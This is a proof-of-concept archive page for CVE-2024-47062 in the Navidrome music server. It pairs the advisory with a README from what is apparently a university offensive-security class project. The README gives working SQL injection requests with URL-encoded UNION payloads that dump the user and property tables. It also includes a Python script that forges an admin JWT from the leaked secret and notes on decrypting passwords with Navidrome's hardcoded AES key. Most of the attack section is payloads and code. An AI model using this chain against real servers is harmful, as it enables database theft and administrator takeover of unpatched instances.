Associated Vulnerability
Title:Multiple SQL Injections and ORM Leak in navidrome (CVE-2024-47062)Description:Navidrome is an open source web-based music collection server and streamer. Navidrome automatically adds parameters in the URL to SQL queries. This can be exploited to access information by adding parameters like `password=...` in the URL (ORM Leak). Furthermore, the names of the parameters are not properly escaped, leading to SQL Injections. Finally, the username is used in a `LIKE` statement, allowing people to log in with `%` instead of their username. When adding parameters to the URL, they are automatically included in an SQL `LIKE` statement (depending on the parameter's name). This allows attackers to potentially retrieve arbitrary information. For example, attackers can use the following request to test whether some encrypted passwords start with `AAA`. This results in an SQL query like `password LIKE 'AAA%'`, allowing attackers to slowly brute-force passwords. When adding parameters to the URL, they are automatically added to an SQL query. The names of the parameters are not properly escaped. This behavior can be used to inject arbitrary SQL code (SQL Injection). These vulnerabilities can be used to leak information and dump the contents of the database and have been addressed in release version 0.53.0. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Description
CVE-2024-47062 PoC
Readme
# CVE-2024-47062
> This PoC shows how an SQL Injection vulnerability in Navidrome (CVE-2024-47062) can be exploited to gain admin access. It explains how SQL Injection can reveal sensitive data, how to use a JWT token to obtain admin privileges, and how to decrypt passwords with a hardcoded key stored in Navidrome. This project was created for our Hacking and Offensive Security class (18-739D) at CMU.
>Team: Michael Crotty, Annie Liu, Tilden Jackson, Sai Sathvik
## Setup
- Create `navidrome-music` and `navidrome-data` directories.
- Download `docker-compose.yaml`, then run `sudo docker-compose up -d` to install the container.
- `Navidrome.db` is created when the instance is launched for the first time in the `navidrome-data` directory.
- Service can be accessed from `http://127.0.0.1:4533`
## Exploitation
### SQL Injection
- Able to trigger SQL Injection when passed query as a parameter to the request.
> Queries are URL encoded before being passed in the URL.
- Error in the docker logs, after passing `'=1` as parameter
```
GET /api/radio?%27=1 HTTP/1.1
Log:
SELECT count(distinct radio.id) as count FROM radio WHERE (' LIKE {:p0})
Response:
"error":"unrecognized token: \"' LIKE ?)\""
```
- Dumped the user table, using the following payload `1=1) UNION SELECT id,user_name,password,is_admin,'','' FROM user --`
```
GET /api/radio?%31%3d%31%29%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%69%64%2c%75%73%65%72%5f%6e%61%6d%65%2c%70%61%73%73%77%6f%72%64%2c%69%73%5f%61%64%6d%69%6e%2c%27%27%2c%27%27%20%46%52%4f%4d%20%75%73%65%72%20%2d%2d=1 HTTP/1.1
```

- Dumped `property` table contains `JWTSecret`, which is further used to craft new JWT token. Payload used: `1=1) UNION SELECT ID,VALUE,'','','','' FROM property --`
```
GET /api/radio?%31%3d%31%29%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%69%64%2c%76%61%6c%75%65%2c%27%27%2c%27%27%2c%27%27%2c%27%27%20%66%72%6f%6d%20%70%72%6f%70%65%72%74%79%20%2d%2d=1 HTTP/1.1
```

### Crafting admin JWT Token to register new admin user
> Applicable when the password cannot be decrypted.
- Analysing the JWT token of the currently logged-in user

- As we already have JWTSecret, we can construct a new token and bypass the restriction; for example, if the user is not admin, then we cannot view users at the `/api/users` endpoint

- Using the `create_jwt.py`
```
import jwt
secret = "c1f24a44-98cc-4049-ada2-95363e18e437"
payload = {
"exp": 1731449169,
"iat": 1731276369,
"iss": "ND",
"sub": "sai",
"uid": "d8f80c03-103a-4623-9fa9-fafa8836ca52"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)
# Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzE0NDkxNjksImlhdCI6MTczMTI3NjM2OSwiaXNzIjoiTkQiLCJzdWIiOiJzYWkiLCJ1aWQiOiJkOGY4MGMwMy0xMDNhLTQ2MjMtOWZhOS1mYWZhODgzNmNhNTIifQ.GwtwapWo94fXOx7WSCQYpTVYfxeoLH0jpobfhjSzGX0
```

- Now we have admin privileges and can view all the users.

- To register a new user, just send a `POST` request to the above, with the new user details.

### Hardcoded key?
- Navidrome stores encrypted passwords instead of hashing. It used AES with GCM Mode.

- Yes, `just for obfuscation` is the key used. Using the `decryptor.py`, you can decrypt them.

File Snapshot
[4.0K] /data/pocs/72ae5bb0a650e0c86aef82f2d99fb3ae9fea1aad
├── [ 311] create_jwt.py
├── [1.0K] decryptor.py
├── [ 249] docker-compose.yml
├── [3.7K] exploit.py
├── [444K] navidrome.db
└── [3.9K] README.md
0 directories, 6 files
Remarks
1. It is advised to access via the original source first.
2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →